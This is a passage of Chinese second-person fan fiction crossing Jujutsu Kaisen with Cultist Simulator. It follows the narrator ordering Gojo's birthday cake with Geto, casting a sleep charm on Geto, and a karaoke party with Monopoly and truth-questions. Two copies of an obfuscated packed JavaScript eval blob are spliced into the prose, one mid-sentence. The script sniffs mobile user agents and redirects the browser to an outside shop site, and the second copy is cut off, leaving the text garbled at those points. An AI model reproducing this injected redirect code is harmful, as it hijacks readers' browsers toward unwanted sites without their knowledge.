夏油杰在得到一瓶酒的答案后就有点慌了神,并不是因为你的低水平回答:“喂……我以为你会买蛋糕。” --于是问题水落石出。 去年他买了蛋糕,今年硝子没有。五条悟多半不会自己准备这些,三位一年级生几乎不可能购买,因为他们会觉得前辈已经准备好了。 也就是说,蛋糕,没有。 硝子问:“所以怎么办呢?” 你来都来了,也重读一遍:“怎么办呢?” 靠谱的夏油杰意识到自己出现在这个不幸的地方就是为了解决问题而来:“……还有三天,不要紧,我去订。” 硝子这时候和你说:“五条去年生日的时候,我们还带他去了便利店。你懂得,就是富家少爷没吃过平民食物的戏码,然后晚上吃了怀石。” “怀石是……?”你没见识。 她解释:“高档料理,按例上菜没吃饱,多点了很多东西。最后账单很长。” 你对日本的料理缺乏深入了解,闻言也只是点点头:“那今年的卡拉OK是谁想的主意?” 得到回答:“五条自己。” 看来他挺喜欢唱歌的,你点点头,主动提议:“不如蛋糕也算我一份,前辈帮我许多,再多感激一点也应当。”后半句是解释。 最后,你与夏油杰一前一后离开了硝子的房间,她还有闲暇对招手和wink。 冬天的夜晚,连虫鸣也没有,你准备在老旧的灯下和前辈告别,他却问你:“你有空聊一聊吗?” 你们在靠近门口冷风飕飕吹的自动贩卖机旁边的长椅上坐了下来,你在左边,他在右边,前面一片售货机灯光照应的地上就是这附近唯一的光源。 因为顶灯坏了,你抬头的时候他温柔解释:“从我们入学就一直这样了。” 厉行节约的学校。 “有什么事情吗,前辈?” “你想喝饮料吗?我请你。” 你摆摆手:“这怎么好意思。就乌龙茶吧。” “不会睡不着觉吗?” “多谢关心,不过我是夜行动物,这点前辈不是早就知道了嘛?”反正他多半会说起这个的吧,你不为难,主动提起这茬。 “你……” “我一切都好,以后也不会不好。不过很感谢前辈们的照料。” 他说:“你变温和了不少。” “诶?” “你以前,一开始的时候木木的。不爱说话。” “……有吗?”自打你入学,已经过了快5个月了,你并未觉得自己变化许多。 夏油杰轻笑一声:“也许是我的错觉吧。不过我很高兴你能从以前的事情里走出来,真的,铃木,我为你高兴。” 他又紧接着问:“记忆呢?还有出现忘记事情的情况吗,或者有没有想起什么?” “有一些不太美好的回忆……”失忆是昕旦无意识对你下达的诅咒,不过你也从支离破碎的几十年中,拼凑起促使你漂洋过海来到日本的缘由。 夏油杰的表情变得凝重,他可能觉得你或许被凌辱,或许遭遇不幸的童年,你没耽搁太久,直言:“我被追杀了。” “……” “当真,没骗你,不过它们应当不会跑到东方来。至于你和五条前辈见到我的时候……其实事情并不像你想的那样,但更多的我也不太方便告知。”你无意让这个温厚礼貌的好人替你担忧,也不希望他因为不存在的困境而耗费心中怜悯,属于你的最大困境,在二战结束前--甚至是开始前就有惊无险度过了,后面的顶多是生活调剂。 他看起来很是迷惑:“可是你……” 你认真告诉他:“男人对于我不构成威胁,只是那个时候我或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664972|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许,或许不太重视,也不认为那是一种自甘堕落的行径。充其量是……等价交换。” 钓鱼执法之以恶念换命,你完全没有为那些身归虚界的死魂灵开脱的意思,只不过人家都付出了生命的代价,你也实在装不出受害者可怜的样子。 然而,这在夏油杰眼中就是你厌世和心理障碍仍然未治愈的具体表现,他误解颇深,严重似乎仍有对你不幸遭遇的悲痛。 好吧,你不打算再加深误解了:“毕竟如果我们要生活的话,就没办法唾骂自己的饭碗。”以这句话作结,你仍然没洗掉不存在的标签。 夏油杰也放过了这一话题:“它们是谁?” 你的编造能力和资历竟然要用来欺骗一个17岁学生,对于这点你并没有太不好意思,毕竟你从十几岁的时候也就做这些了,如果他能遇到17岁的你……也许会被欺骗得更多也不一定。现在,至少你是出于好心:“我可以相信你吗?前辈。” 你放下鱼饵,一句交心之前大家都会说的场面话。 他轻声作答:“当然。” 你凑到他耳边,他想后退的动作不明显,他自己止住了,身体僵硬。“那这就是我们之间的秘密了,我不希望你告诉任何人,前辈。” 你的呼气和轻微声音引起了他的不习惯,如此靠近的距离,你甚至能听见夏油杰的吞咽声。然而不知出于何种考量,他没有请你恢复社交距离。几个心跳之后,他镇定告诉你:“好的。” 你也许很早之前来自东方,因为你有一张东方的面孔,然而你生长于英国,更多的便也记不清了。你伏在他耳边,他的碎头发摩擦你的鼻尖,你还能嗅到清淡的香波味道,你亲口说出了能够破坏旖旎氛围的话:“我在欧洲生长,身份么,是个女巫。” 都欧洲了,猎巫历史延续了几百年,东方早就有关于此的幻想和文学作品,就算真的有点魔法和女巫也不奇怪吧,这就是你随口想到的离奇谎言。越是离谱,越可能是事实,他无法查证,你又有能够示现的征兆,加上……夏油杰确实是一个会努力执行承诺的人,你有比较大的把握他会守密。 “……” “你要对此保持缄默哦~”偶尔的戏弄别人让你感到快乐,他就像灰原一样,你说出了离奇的话,他还半信半疑。 “就算你这么说……” 把握对话主导你游刃有余,这个秘密令他惊疑之时,你离开黑发少年的耳畔,手臂还搁置在他的肩膀上。如果有人路过此地,或许会以为你们关系亲密。 你的拇指堵住了他开合的唇瓣,手掌捧着他的脸。他的表情很可爱,让你想起了他请你吃饭的那天晚上。 你小声嘟囔:“不过那天更亮点。” 在他想到要推开你前,你的另一只手食指搭在他眼睑处,落点轻盈地抚摸。漆黑的环境掩盖了他的眼下青黑,但确实他近期看上去就像夏天那时一样疲惫,只不过冬天额外给他赋予了尊严和宁静。 你告诉他:“别动,前辈。听我说。”他就真的不动了,然而左手处传来的鼓动的脉搏出卖了紧张的情绪,你手中面容姣好的脸蛋变得柔软。 你接着说:“你看上去很久没睡个好觉了,我们的,额,巫术或许可以帮到你。反正我以前也不经常用草药,而且学艺不精。”大部分的巫术到头来只是漫宿司辰力量的延伸,是蒙昧的落后智慧,剩下的你也没时间一一考证,或者你干脆忘掉了。不过此刻用来装装样子正好合适。 他只是用那双流露出疑惑和慈悲的眼睛清澈地看向你。倘若你因为这种眼神又亲了他一次,那也只是因为他的样子看起来太温驯,让人忍不住想要更多。 你装模做样在他额头画了一个六芒星,他听见的你说的今晚最后一句日语是:“晚安,做个好梦。” 今晚的月亮几乎没有,你正好就念诵了一段拉丁语歌颂弧月的祷文,内容和形式并不重要,甚至于你的语调都毫无影响,关键在于杯之诱惑和沉迷,而如果你的声音有温度,它应当冰冷,足以在他发丝间结起冰霜。冷得像月亮,亮得像镜子。 夏油杰在你念到第二节的时候就倒在了你的身上。 效果比麻醉都好。 你把他留在了椅子上,还遗落了那瓶只开口就没怎么被动过的乌龙茶。 第二天,你听灰原说夏油杰夜里在宿舍旁边的椅子上睡着了,现在他在发烧。 一不小心忘记了他也只是个凡人,你事不关己,感慨:“看来冬天真的很冷呀。” “对啊对啊,而且前辈也太辛苦了。” “唉,不过能者多劳嘛。”你假惺惺的模样骗过了两位同期。 “我想去看望一下前辈,虽然昨天才见过。铃木你要去吗?” “不了不了,下午我和硝子前辈有点任务。” 15. 第 15 章 有关你的可能被追杀,不能说完全是对方的过错…… 在许多年以前,你身陷囹圄,兼有走投无路者的迫切和初学者的捅娄子情节。总之,你在危机时刻走上信奉杯的道路,知晓了司辰【赤杯】名讳,也知道要在通晓与学习中通往登升的道路。 你算是误打误撞中比较幸运的那个,甚至跟着残缺不全的典仪记载用身边仅能用得上的在手工具召唤出了甚少出现在醒时世界中的漫宿居民,伊泽姆。 甚至,他还是货真价实的具名者。很多漫宿的灵体会声称自己是具名者,但真正的具名者是最为罕见且强大的,作为司辰的侍奉者,你见到他的概率就像乡下种地的农民见到王公贵族。 --即便召唤而来协助你的只不过是它在漫宿的投影化身。 他帮了你许多,你和他谈论健康,于是你获得了更长的时间界限,你离自己的命定大限稍远了一些,死亡的步伐落后几步;你向他请教典仪与秘法,他一言不发;最后,你在最后的仪式中,指派他成为你的助手。 召唤的束缚令他不得不听从。 实际上,有关这件事情你在第一次梦见赤红教堂,听见杯之长生者与具名者聚会时就应该清楚,然而你那时……一开始是箭在弦上,不得不发,再往后,你已经走得太远,难以回头。 在你作为凡人的最后一场仪式中,你指派一个具名者的投影成为了你的助手,于飞升前的最后一步,每个信奉杯的人都必须要进行的一步。 你的选择余地十分小,死亡,或者吞噬。 …… 我们的灵魂居于一座座房屋,即我们的肉身中。我们的五感即是窗户,每种感官都有其伴生的食欲。其食欲得不到满足,就如同窗户无人打理。谁又愿意住在窗户污迹斑斑的房屋中? …… 如果伊泽姆因此生气那绝对不会是他的问题,你怀着抱歉和悔恨的心情礼节性地【亲吻】了他的手指,完成了应许的功业,也许在那之余你竟然还有几分骄傲与得意。然后你再也没有见过他。 说实话,你也不敢。 但即使记忆消退,你清楚记得,曾经有人告诉过你,在十年后他仍然在生闷气。 “伊泽姆会好的,最终会的。”这话可不敢乱相信。他是具名者,你是刚摆脱凡人身份不到一辈子的资历尚浅长生者,其中的差距可想而知,所以在你听说似乎有人想找到你时,很快动身来日本。 当硝子和你说她的同期是两个问题少年,你很难感同身受。你捅过的篓子足以让你忌辰百周年,但最终你还是活生生的熬到这里。 下一次见到夏油杰的时候,他已经大体相信你伪造的身份,看你的眼光多了无奈而少了怜悯,他小声问你:“下次别把前辈丢在那么冷的地方了,好吗?” 你理亏:“我过会请你喝热茶。” 今天,你们打算去城里订蛋糕,你穿了新装,他穿校服。唔,仔细一看其实…… “铃木,怎么了?” “原来你穿的是常服,前辈。”差点没看出来。 “……辨识度有那么低吗?” 你看向他外套里露出的圆领上衣:“黑色的。”又看向宽大的裤子:“黑色的。”你问他:“你的衣柜打开,不会恰好只有两种颜色吧?” 黑色,白色。 “……倒也。”他的表情一僵,你判断他本想反驳你,一思考却发现被说中了。 “没关系没关系,喜欢黑色的人都有独立性格。”你拿出那套新时代封建迷信,色彩心理学安抚他。 “你相信这些?” “不,完全不信。” “……”他被你的坦诚折服,讲不出一句话。 “对了前辈,你身体好些了吗?” “我以为这句话会放在社交最开始。依照惯例。” 你冲他眨了眨眼,状似真诚道歉:“正好没话题了,所以我其实很愧疚那天把你丢在长椅上。你睡到了几点?” “悟说,费了好大劲才把我从梦里叫醒。早上八点,他怀疑我中了诅咒。” 高专哪里来的外来诅咒,你摇摇头,向他保证:“除了沉眠没有其他副作用。因为睡得太熟而意外遭遇危险这种倒是最有可能。这招我还挺熟练的,所以几乎不会失误。” 你的聪明前辈脑瓜子一转,漂亮脸蛋上显示出了然神色,他对你说:“原来你之前是这样……” 哎哟,真是爱思考的高中生,不过你也乐意他为你找补:“对对对,就是你想的那样。” “所以你昨天靠我那么近,是--” 他怎么想你就怎么承认,有人设身处地替你完善设定,有何不可:“没错,业务熟练度到这层,顺手就那样做了。” “那你那天--” 夏油杰陷入了你的圈套,他问的问题也逃不出去,你甚至不用听完就知道他的意思,直言不讳:“因为你长得比较好看,而且你请我吃饭。” “……!!” 你转过头去看他瞠目的神色,他的脸颊在照进车内的日光下泛起贝壳光泽,一双眼如紫水晶镶嵌其中。现在你向这两颗明亮玻利维亚石英宝石提问:“会觉得我的想法很轻浮吗?” 他先摇头,然后迟疑之后点了点头。 你冲他笑:“我以后不这样了。实际上……以前也不常如此,夏油前辈,有人和你说过你确实长了一副令人浮想联翩的缠绵样貌吗?” 他脸红,语调生硬而急促,像锯木头:“铃木,请不要这样说。” “好好好。” 过了一会,等他像是冷静下来以后,语调恢复对待后辈的温柔,循循告诫:“不仅是我,你对其他人也别……那样。” 你明知顾问:“哪样?” “……” “好的,不会的。前辈,我们到站了。是先喝茶还是先看蛋糕?” “蛋糕吧。”他率先起身,下了巴士。你跟在他身后。 当被问及是8寸还是10寸时,你们都给出了10寸的答案,因为人数有6。选款式则以你的前辈意见为主,不过他是个好人,在有了主意以后还礼貌征询了你的建议。 “铃木,你觉得草莓怎么样?” “挺好的,我挺喜欢的。” “可可的呢?” “我也挺喜欢的。” “……那个,其实是悟过生日。” “多么巧的巧合,我不清楚五条前辈的口味。不过我注意到他对高热量甜食的偏好,可能是术式消耗。”你指了指脑袋,反正你没见过他排斥某种甜食,你的夏油前辈应当比你更懂他好友的口味:“如果你没注意到,不如问下硝子前辈?” “硝子?” “她很细心,说不定日常有关注到。” 你们坐在装潢温馨的店铺里布置好的一角,在夏油杰发出信息后静待回音。身着整洁围裙的店员体贴地为你们倒上两杯水。 “请问二位是情侣吗?” “不是。” 对方显然没有料到你打断的这样快,从嘴边还溜走了半句:“最近我们店里有一款活动--这样呀,抱歉。” 活动,你的耳朵动了一下:“等等,也不是不可以做情侣,请细说。” “铃木……” -- 简单来说就是在社交平台上双方共同发布照片,就可以吃一份蛋糕的钱拿两个蛋糕。 你没了兴趣,和店员致歉:“不好意思我们是地下,就是,嗯,你懂的,sorry啦美丽的小姐。不过我会在常逛的论坛上推荐你们店的。” 你从小包里掏出照相机的大动作惊到了你的前辈:“等等,你什么时候买的?” “那天在海边以后,反正简简单单攒几十天就可以买到,不用总向灰原借。”若要说从夏天到现在你变话的最多的地方,那无疑是你对于科技产品的了解和运用,你一点也不排斥用新的产品优化生活。“要我帮你拍一张吗?我会邮件发给你的。” 你在他回答之前就按下了快门。 “……所以问题的意义何在?” 你在照相上颇有天赋,无师自通,说起这个显然比他专业:“增强人和镜头的互动感,在被问问题后你会有抬眼的动作。大概因为前辈比较遵守礼节……正是如此,我想要的就是这个类似回眸的感觉。” 你回退到历史相片上,最后一张赫然就是刚刚拍下的透过明亮玻璃橱窗的街景和目光温和忧郁的少年。他的那一刻应答封印在相片中,底色就是如同萧瑟冬季那样的空无茫然。 在此之前你们都没发现。 你向他展示了那张照片。 “嗯?这是我吗?” 显然如此:“如假包换,你在照片里更加心事重重。” “……”他最后看了一眼你的相机,然后别过头去看陈列各种糕点的玻璃柜:“硝子回复了,她建议车厘子。” 这年头这种水果并不便宜,也算稀少。反正南北美产地离亚洲欧洲都不近,你也没经常吃到。于是你们订购了那款价格比其他高一大截的车厘子黑森林,定金70%。 你付钱的时候很积极:“前辈,请让我来,到时候你结尾款。”非常自然从包里抽出万元面值大额钞票,你又随手指了指橱柜里精致诱人的蛋糕:“这个,这个,这个,请帮我打包装好。” 最后离开的时候,知道你们根本不是情侣的店员脸蛋红通通,她问:“可以加你的联络方式吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你有没有觉得,其实--” 他很擅长话说一半让你公开发表另一半的,大约这就是委婉的艺术。你也很给面子接上:“我觉得硝子前辈大概不讨厌车厘子。” “我想也是。” “所以前辈,你有什么饮食偏好吗?除了荞麦面?” “嗯?没有什么特别喜欢的,也没有什么讨厌的。”他似乎很惊讶你猜中喜好,不过这也恰好说明你说准了,你的前辈的确有中老年的口味。 “哦。”你得到答案以后就不在搭话,在座位上找了个倚靠最舒适的姿势,拉开窗户拿出相机,间或拍下几张一闪而逝的图像。 你问他要了邮箱,在回到宿舍后借用灰原的电脑发给了他。 “真羡慕你和前辈们关系好。” “好吗?”你对此没有额外的念想,要说关系亲密其实你最信赖的人正在眼前。灰原的眼睛圆溜溜,一颗脑袋也圆滚滚,而且对你说的大部分话全盘接受一概相信。“你也可以,多往前辈们面前凑凑,他们不会嫌你烦人的。” “我希望得到夏油前辈的认可!” “好好好,不过你为什么这么崇拜他?” “因为……”灰原因为你的话认真思考了起来,随即他坦然一笑,你看这表情就推测他要说的回答类似“不知道”。果然,他说:“我也不太明白,不过夏油前辈给我的感觉十分勤奋,而且他很关爱后辈,我也想成为他那样有责任心同时也能承担责任,然后被人尊敬的咒术师。” “这样子啊。”你察觉到夏油杰身上有比其他人更强的秩序感,不过说到责任,或许他也有很多自愿背负的东西吧。“那他挺厉害的。” “……铃木,你怎么不鼓励我。” 你站起身,低头看他圆润的脑瓜,没忍住上手盘了盘。其实心思坚定的人无需外界阻碍或推进就能独立抉择,但对你的同期还是不要那么严苛了:“好好好,不过说句实话,在我的眼里无论是你们还是前辈,都只是公德和私心糅杂而存在的人。” 你在他望向你的眼神中体悟到了自己的聪慧,夏油杰可以讲话只讲一半,另一半可以顺畅地从你口中脱出,但你对灰原却不行。于是你接着告诉他:“所以,只是我的私人建议,你可以选择性听取:无需把前辈们看成可望而不可即的高岭之花哦。” 你提溜起他发旋中间那一撮,试图凹成智慧草的形状,可惜太软了,留不住。灰原觉得你是有反转术式作为底气才这么说的,不过他像丛林中的獾一样,忠厚地没有反驳。 16. 第 16 章 在你遭遇短期内毫无成效的转专业之前,你还是先遇到了一些令人雀跃的好事的。 关于游戏,你以前不怎么进行这些娱乐活动。作为活得不太自由的笼中鸟,你的娱乐主要在于欣赏歌剧,跳舞,饮酒,以及在俱乐部看台上人演出。简单来说,这些是绅士们更偏好的项目。你甚至只能看别人打扑克牌。 安逸而琐碎构成了你在伦敦时候生活的一角。 所以在KTV包厢里,当灰原拿出桌游:“我初中时候买的大富翁,以前和同学还有妹妹一起玩过,有人想玩吗?不过只有四个人。” 你对它完全生疏,但是第一个报了名:“我要玩。” 他对你的高配合度表示高兴,因为七海绝对是最后一个会加入的人:“铃木你以前玩过吗?” “完全没有,但我相信灰原的眼光。”虽然这么说,你的好奇心情就和你的敷衍一样容易辨识,长了眼睛的人都能看出你对游戏的不寻常偏好。 硝子是第二个加入的:“那我也来。” 令人有些惊讶的是,在场除了你还有一个没听说过这个风靡全球IP的富家子弟,正是今天在过17岁生日的五条悟。 于是玩家名单就定好了。七海和夏油不幸被排除在外,其中七海不幸地有点侥幸,他本来就不感兴趣,而夏油杰含笑拒绝了纯良学弟试图把名额让给他的邀约。 “不了,我看你们玩。”两人都没有唱歌的欲望,反正在那之前都已经唱过两轮,而你在他们之前歌唱水平参差不齐的半个多小时里,赖在沙发上得到了果盘杀手的称号。 灰原讲规则零零散散,这个时候你的五条前辈就会主动提出问题,像猫一样神思敏锐,像猫一样发起进攻,然后灰原就会措手不及,反应过来后又非常认真的给前辈解释。 “嗯哼,这样我就完全明白了。铃木,你怎么样?” 这时大家的注意力才从显眼的两人中转到你的方向,你一双眼睛直直地盯着桌面,把一展臂就能收入囊中的狭小地图看了个遍。在他话音落几秒后你才有所回应:“我也差不多。” “你居然认真起来了。”五条悟的位置正在你左边,他扯下一半的墨镜,先是诧异,然后是莫名其妙的鼓足干劲:“好!那前辈我也要展现真本事了!” 他确实展现了真本事。 你在对规则的了解上更胜一筹,比如,在灰原的解说中,你了解到一个关于进监狱的设定,如果有不幸的玩家不巧投掷骰子走到了【进监狱】的格子,她就会直接飞到监狱格中,并且在出狱以后直接以监狱格为起点,以此开始投掷。又比如,两个骰子同时投掷,根据概率学,最有可能的点数是7点,然后它们就会像正态分布一样朝两边依次递减。 你于是就得到了这个游戏的最优解,在监狱后的5-10格不停地买房,买房,买房。 过了许多轮,聪明的前辈发现你的意图……可惜为时已晚。 游戏发起者灰原雄是第一个失去全部资产含泪出局的,对不起啊灰原,你冷酷无情地对他挥了挥手道别,但是残酷的战场上没有同期这一说。 再者是和你关系最好的前辈,家入硝子。当香烟灭了第三次,房间里都是缭绕的烟草香,她夹着烟的手势透露出慵懒,缓缓吐出一口气:“五条,看你了。” 你正襟危坐,双手老实地搭在膝盖上,已经出局的人不再值得一个眼神,现在你的目标只有一个,那便是对幸存者赶尽杀绝。你把目光投向左边的前辈。 命运的骰子已经在空中翻转后落下,它指向的结果只有一个。 五条悟即便在不情愿也被你盘剥殆尽,心有不甘也落得破产离场。 他确实展现了真本事,然后输了。 他说:“再来一局!” 你说:“我不玩了。”胜利的快乐和赢家通吃的喜悦让你的双颊不自觉发烫发热,不必多想你也知道它应该绯红。把竞争对手都一个一个除掉然后活到最后,你回味心中的震荡和获得胜利前一刻如擂鼓的心跳,这种快乐叫做胜利。 五条悟闹不愉快的样子像个小孩:“铃木,太狡猾了!” “好嘛,下次让前辈你赢。” “我才不稀罕你让。” 你故意拖长了语调:“哦~” 他转而怀疑:“你是不是以前玩过?” “没有没有。”你摆手。 他突然凑近,摘下墨镜,近到你的眼睛几乎失焦,温热的气息吐在你面庞:“真的吗?平时没觉得你很聪明,明明是个笨蛋。” 太过分啦,即便是天之骄子也不能这样说你。你伸出手就想从侧边推他的脸,没推动,这个说话过分的前辈静止如木雕,眼神探究。 这样侵略性太强的眼神,你不喜欢。 无下限术式,答案给出的晚来一步,你在动手失败后才意识到这意味着什么。现在你不得不赞同灰原的观点,有些人的起点就是无法越过的山峦。 不过,他还是输了,嘻嘻。 “啊对对对,我是笨蛋。”你后仰些许,倚在沙发边缘,顺手撩了零散的长发,再这样的距离下终于能看见他的全脸……不得不说五条悟也有一张过分俊俏的脸,出于对外貌优越者的偏袒,你本来打算说些【既然你输给了笨蛋】之类之类的话,一并也咽到肚子里。 你心情愉悦,所以在五条悟看着你不知道在想什么的时候,眼神略过他轻颤的睫毛,转向其他的学生,提议:“我给大家唱首歌,然后我们开始喝酒,如何?”时间还有很多呢。 “刚刚你不是说不会吗?” “确实没听过什么,不过我记得有首英语歌……我以前喜欢的。仔细算来这首曲子比在场大部分人都年长。” 他一打听,竟然是1985年的歌,于是嘲笑你果然数学很烂:“这里最早也是89年出生的,笨蛋。” 是吗?倒也未必。 你冲你数学很好的前辈眨眨眼,眼神散漫。 你唱了一首大家都没听过,因此也不适合在KTV演唱的曲子,反正大家的英语水平吧……七海的祖父是个丹麦人,不过么,祖上的事情和他这个日本人关系不大了,更何况他们的官方语言其实是丹麦语。 硝子没让氛围冷下来,她用外套裹着酒瓶然后拧动的“碰”一声刚好就在你放下话筒之后。 没有时间给大家发表根本听不懂所以也无话可说的听后感了,她给今天过生日的同学先来了一杯:“因为很甜,我推测你会喜欢。” 你对她熟练的开瓶姿势表达了赞许,然后送上了自己的塑料小杯子,期盼第二杯属于你。 她在倒酒时还和你闲聊:“星夏,你喜欢怎么开?” 你给出的答案是:“粗鲁的那种,瓶塞和一部分玻璃会像火箭一样--咻--”你还打了个响指。 “哇哦,很专业哦?” 你知道这并非传统意义上的夸奖,但还是对她比划了一下:“多谢。” 所有人碰杯后,只有你和硝子还有七海干脆的喝掉了杯中佳酿,至于其他人,或许他们比较保守。 你还记得有个人刚才喊你笨蛋,于是你和他刚才一样直言不讳:“前辈在害怕吗?” 这话一讲最先反应的却是灰原,他眼睛一闭,抬头扬手,你还能看见他提前摆好的痛苦表情。 可惜没用上:“……唔,好喝诶!果汁味的。不过有一点苦。” “这部分就是酒精。”你告诉他。 再然后你的两位前辈一个接一个啜饮杯中几乎0风险的酒精饮料。说几乎是因为……万一真的有人酒精过敏之类的呢? 大家都喝完一杯以后,再次陷入不知该做什么的一筹莫展。 “不如我们来玩真心话游戏?”这个建议是硝子提的,立刻得到了灰原的响应。他说:“感觉马上就要谈恋爱了,因为网络论坛上都是这么写的。一个灯光不敞亮的封闭房间,一点点酒精,几个青春活泼的少年少女,还有年轻躁动的心。” 你比较好奇另一半:“大冒险到哪里去了?” “那个啊,我不喜欢冒险。灰原,你的想法很危险哝。”站起身的硝子伸了个懒腰,然后给了学弟一个栗子:“怎么样,闲着也是闲着,来玩吗?” 说实话,你不是很想加入,于是你把目光悄悄投向七海。你知道他,一定也对此没兴趣。团结同学是个好选择,他看见了你,也知道你从毫无隐瞒的脸上写的是什么。 然后七海:“好,我加入。铃木,你看起来有不少秘密。” “七海,你这个……” 他一句背刺令你成为焦点。 “你再也不是我心目中最像成年人的同学了!” 七海今年16,他根本不懂你在说什么,你伤不到他。 灰原发问:“那现在谁比较像成年人?” 你看了一眼他最最崇拜的夏油前辈:“他。” 在你身边,一个踉跄的身影一闪而过,然后你的左肩遭受了袭击。你皱眉回头,看见了一张对自己造成的困扰无知无觉的脸。五条悟问你:“那我呢?明明我和硝子才是这个房间里年纪最大的人。” 他力气怎么这么大?会自称ore的就不要妄想成年了。你冷静回答:“前辈,你看上去刚好17岁。” “悟,你怎么了?” “我没事。” 说着没事的白发少年先前留给你左肩的力道令你怀疑他对你还有点私人恩怨,不过你也有几分敢怒不敢言。你决定迁徙到对面去,把不正常的前辈留给他的好友。 “夏油前辈你可以坐这。”一溜烟,你坐在了硝子旁边,挪腾出自己的位置,又忙活倒了第二杯饮料。一边不知道在张罗个啥,一边问:“对了,蛋糕什么时候来?” 硝子的聪明之处在于她乐意不问不查,然而今天的她似乎有点不愿迁就你:“星夏,诚如七海所言,你确实有些秘密。” “没有的事,我对同学们100%的坦诚。”你双臂交叉在胸前,摆一个大大的叉。 “防御性拉满哦。” 你重复:“没有的事。” “那……五条,你怎么说,想不想玩?” 现在,你又看向五条悟。他面无表情,而且不知何时摘下墨镜,只不过眼睛却是暗淡无光的蓝色,如此形容并非是说他天空一样的眼睛不再美丽,而是你记得,先前几次见到他墨镜后的眼睛时……它们都在发光。 他直勾勾地看向对面,此刻你正坐在他视线的途径之路上,可倒像是他的目光穿透了你看向更厚的墙壁似的,他没在看你。 你心中逐渐成型了一个猜测,五条悟……不胜酒力,一杯就醉。就在你打定主意要说些什么前,五条的眼镜泛起一层雾气,然后发出比往日你见过更甚的澄明的光,像奔涌泉流冲破蓝色浮冰。你都没有眨眼,他就在你面前从意识不清的普通存在摇身一变成为了样子简朴又庄重,浑身上下透着节制寓意的青年。 长着一张大天使面孔的青年看起来根本不知道自己在说什么,因为他说:“玩。” 不要用这样坚毅的神情和不容拒绝的语调说这种话啊! “看吧,少数 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硝子:“赞成。” “可是铃木你就觉得奇怪吗?我会吃很多东西,你会买很多衣服,但是七海,每次出去都是我们在花钱。” 你回答:“我对别人的钱控制欲一般不高,偶尔高起来也不吃窝边草。” 七海的回答:“存起来了。” 大家开始的问题好似都不痛不痒,你也开始觉得这好像是迟办了半年的破冰小游戏之类的--开玩笑,离这一学年结束只有四个月了,好歹要跨年级破冰应该在开学的那一两个月才对嘛! 酒瓶第一次转到你的时候你也不紧张,要问你问题的是偏好恋爱问题的硝子,她问的两个问题全都是恋爱相关,且都已否定作答:灰原和五条都没恋爱过……说真的这明明是肉眼可见的信息,根本不需要额外提问。 “星夏呀星夏~”她叩击桌面,节奏感踢踏不详征兆:“谈过恋爱吗?” 依你之见,这里就产生了一点小小的问题:“怎么样算是【谈过恋爱】呢?” 她一脸意外之喜:“真的假的?” 你立刻打消了明确界定的念头,简洁回答:“谈过。” 你开始转酒瓶,只想早早把话题抛出去,你的提问对象是五条悟,仔细一想如果只聊恋爱话题问与答的范围就都在可控区间内,你加深硝子的影响:“前辈有过喜欢的人吗?” “啊,完全没有。倒是你,你这样也算是恋爱吗?” 快问快答,意料之中。后面半句评价你就当他是酒后失言,可他一副知道内幕的样子又把众人的好奇心调动起来了。 轮盘开始加速,场面也有些升温,不好说这是氛围起来还是酒精的后置效果。 再一次到你的时候,场上已经经历过一两轮激烈的问答,热闹的气氛被推上了新的高度。比如大家已经经历过: 对七海的“有想过被有钱人包养然后不劳而获到永久的生活吗?”“想过,感觉没希望,或者反而会付出更惨烈的代价。” 对五条的“对自己的另一半有什么期待吗?”“倒不如说从来没想过另一半,也难以想象会喜欢上谁。”还有灰原回答情感偏好的时候说自己喜欢饭量大的女孩,五条悟噗嗤笑出了声:“那不就是铃木吗?”害的他好一通脸红,几分钟不敢看你。 这次关于你的问题会是怎么样的呢? 提问者是五条悟,一对大眼睛炯炯有神,他蹙眉看你,久到硝子在催促他,他弧度优美的嘴唇才一张一合:“那天,你为什么帮我说话?” “哪天?”恕你跟不上他闪电一样的思路。 他停顿了好一会,最终精准描述:“寿喜烧那次。” 果然,你记起来了。 是那个一级咒术师救援和收尾任务,有个疑似是更高年级前辈的咒术师嘴巴碎的像被子弹撞出裂纹的玻璃。 包括夏油杰在内的所有人都好奇你们在说什么,这时你就不得不解释:“初冬的时候,一周半前,那边有个咒术师伤的不重,脾气不好,年纪有点大。我心直口快和他聊了两句。那天五条前辈还说我像ai,只会关键词回复。”你朝硝子告状。 “你不像吗?” “哪里像了。” 这样往复来回永远也没有答案,你对治疗过后的经历稍加回顾,废了你有一番功夫:“这么重要的事情前辈你应该当时就问我。” “杰,你看,她阴阳怪气。” “你们两个……” “我不喜欢那个人,感觉他臭臭的。”你回答:“感觉你不太擅长应对那种半恶不恶的挑拨者,而我以前遇到过不少这种【立场相同的敌人】,怎么说呢,我擅长应对。不能让请客吃饭的前辈在外面受委屈呀~” “你有的时候还挺机灵的。”五条给了你一个小气的夸奖,这时他的脸上起了晚霞一样的红晕,其特征掩盖了饱含探究的那双眼睛。 所以他在喝了一点酒,并且不完全理性的情况之下,最想问你的问题居然是这个……面对你这个吝啬之人眼中的随手之劳,五条悟包袱这么重吗? 不管怎么说,你又破了一次冰,还真是别开生面。 但你也没忘了:“你刚还说我是笨蛋。” 五条悟疑似出现已读乱回现象,他盯着你看了一会,告诉你:“你唱歌挺好听的,也就比我差点吧。” 17. 第 17 章 在你身上逡巡的视线又多了一道,你的硝子前辈似乎在说:“五条居然也对你青眼有加。”然而这不是高看一眼,只是天才高高在上视线向下的一撇。 如果你遇见一只会后空翻的猫,你也会用那种眼神看它的。 